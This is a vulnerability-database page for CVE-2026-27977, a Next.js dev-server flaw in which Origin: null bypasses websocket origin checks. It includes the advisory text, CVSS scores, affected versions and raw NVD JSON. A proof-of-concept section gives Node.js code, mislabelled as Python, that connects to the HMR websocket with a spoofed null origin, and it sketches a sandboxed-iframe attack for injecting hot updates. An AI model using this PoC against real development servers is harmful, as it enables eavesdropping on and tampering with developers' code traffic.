Security Vulnerability Report
中文
CVE-2026-27977 CVSS 5.4 MEDIUM

CVE-2026-27977

Published: 2026-03-18 00:16:20
Last Modified: 2026-03-18 20:09:00

Description

Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, in `next dev`, cross-site protection for internal websocket endpoints could treat `Origin: null` as a bypass case even if `allowedDevOrigins` is configured, allowing privacy-sensitive/opaque contexts (for example sandboxed documents) to connect unexpectedly. If a dev server is reachable from attacker-controlled content, an attacker may be able to connect to the HMR websocket channel and interact with dev websocket traffic. This affects development mode only. Apps without a configured `allowedDevOrigins` still allow connections from any origin. The issue is fixed in version 16.1.7 by validating `Origin: null` through the same cross-site origin-allowance checks used for other origins. If upgrading is not immediately possible, do not expose `next dev` to untrusted networks and/or block websocket upgrades to `/_next/webpack-hmr` when `Origin` is `null` at the proxy.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
Next.js 16.0.1
Next.js 16.0.2
Next.js 16.0.3
Next.js 16.0.4
Next.js 16.0.5
Next.js 16.0.6
Next.js 16.0.7
Next.js 16.0.8
Next.js 16.1.0
Next.js 16.1.1
Next.js 16.1.2
Next.js 16.1.3
Next.js 16.1.4
Next.js 16.1.5
Next.js 16.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-27977 PoC - Next.js HMR WebSocket Hijacking via Origin: null // This PoC demonstrates how an attacker can hijack Next.js dev server's HMR WebSocket // by exploiting the Origin: null bypass in allowedDevOrigins validation. const WebSocket = require('ws'); // Target Next.js dev server (typically runs on port 3000) const targetHost = 'localhost'; const targetPort = 3000; const targetPath = '/_next/webpack-hmr'; // Create a WebSocket connection with Origin: null (simulating sandboxed context) const wsUrl = `ws://${targetHost}:${targetPort}${targetPath}`; console.log('[+] CVE-2026-27977 PoC: Next.js HMR WebSocket Hijacking'); console.log(`[*] Target: ${wsUrl}`); console.log('[*] Attempting connection with Origin: null...'); const ws = new WebSocket(wsUrl, { headers: { 'Origin': 'null' // Key: This bypasses allowedDevOrigins validation } }); ws.on('open', () => { console.log('[+] WebSocket connection established!'); console.log('[+] Successfully bypassed Origin validation via Origin: null'); console.log('[+] Now receiving HMR messages and can send commands...'); }); ws.on('message', (data) => { console.log('[>] Received HMR message:', data.toString().substring(0, 200)); // Example: Inject malicious module update const message = JSON.parse(data); if (message.action === 'building') { console.log('[*] Dev server is building, potential for injection...'); } }); ws.on('error', (err) => { console.log('[-] Connection error:', err.message); }); ws.on('close', () => { console.log('[*] Connection closed'); }); // Attack scenario in browser context: // 1. Attacker hosts a page with: <iframe sandbox allow-scripts src="about:blank"> // 2. Script in iframe makes fetch/websocket to http://target-dev-server:3000 // 3. Browser sends Origin: null header // 4. Next.js allows connection due to Origin: null bypass // 5. Attacker can now read HMR traffic and inject malicious hot updates

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27977", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.947", "lastModified": "2026-03-18T20:08:59.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, in `next dev`, cross-site protection for internal websocket endpoints could treat `Origin: null` as a bypass case even if `allowedDevOrigins` is configured, allowing privacy-sensitive/opaque contexts (for example sandboxed documents) to connect unexpectedly. If a dev server is reachable from attacker-controlled content, an attacker may be able to connect to the HMR websocket channel and interact with dev websocket traffic. This affects development mode only. Apps without a configured `allowedDevOrigins` still allow connections from any origin. The issue is fixed in version 16.1.7 by validating `Origin: null` through the same cross-site origin-allowance checks used for other origins. If upgrading is not immediately possible, do not expose `next dev` to untrusted networks and/or block websocket upgrades to `/_next/webpack-hmr` when `Origin` is `null` at the proxy."}, {"lang": "es", "value": "Next.js es un framework de React para construir aplicaciones web full-stack. A partir de la versión 16.0.1 y antes de la versión 16.1.7, en 'next dev', la protección entre sitios para los endpoints internos de websocket podría tratar 'Origin: null' como un caso de omisión incluso si allowedDevOrigins está configurado, permitiendo que contextos sensibles a la privacidad/opacos (por ejemplo, documentos en sandbox) se conecten inesperadamente. Si un servidor de desarrollo es accesible desde contenido controlado por el atacante, un atacante podría conectarse al canal de websocket HMR e interactuar con el tráfico de websocket de desarrollo. Esto afecta solo al modo de desarrollo. Las aplicaciones sin un allowedDevOrigins configurado aún permiten conexiones desde cualquier origen. El problema se soluciona en la versión 16.1.7 validando 'Origin: null' a través de las mismas comprobaciones de permiso de origen entre sitios utilizadas para otros orígenes. Si la actualización no es posible de inmediato, no exponga 'next dev' a redes no confiables y/o bloquee las actualizaciones de websocket a /_next/webpack-hmr cuando 'Origin' sea 'null' en el proxy."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.1", "versionEndExcluding": "16.1.7", "matchCriteriaId": "B6AA61BB-C5CD-4725-9A02-BEFA55D52351"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/commit/862f9b9b ... (truncated)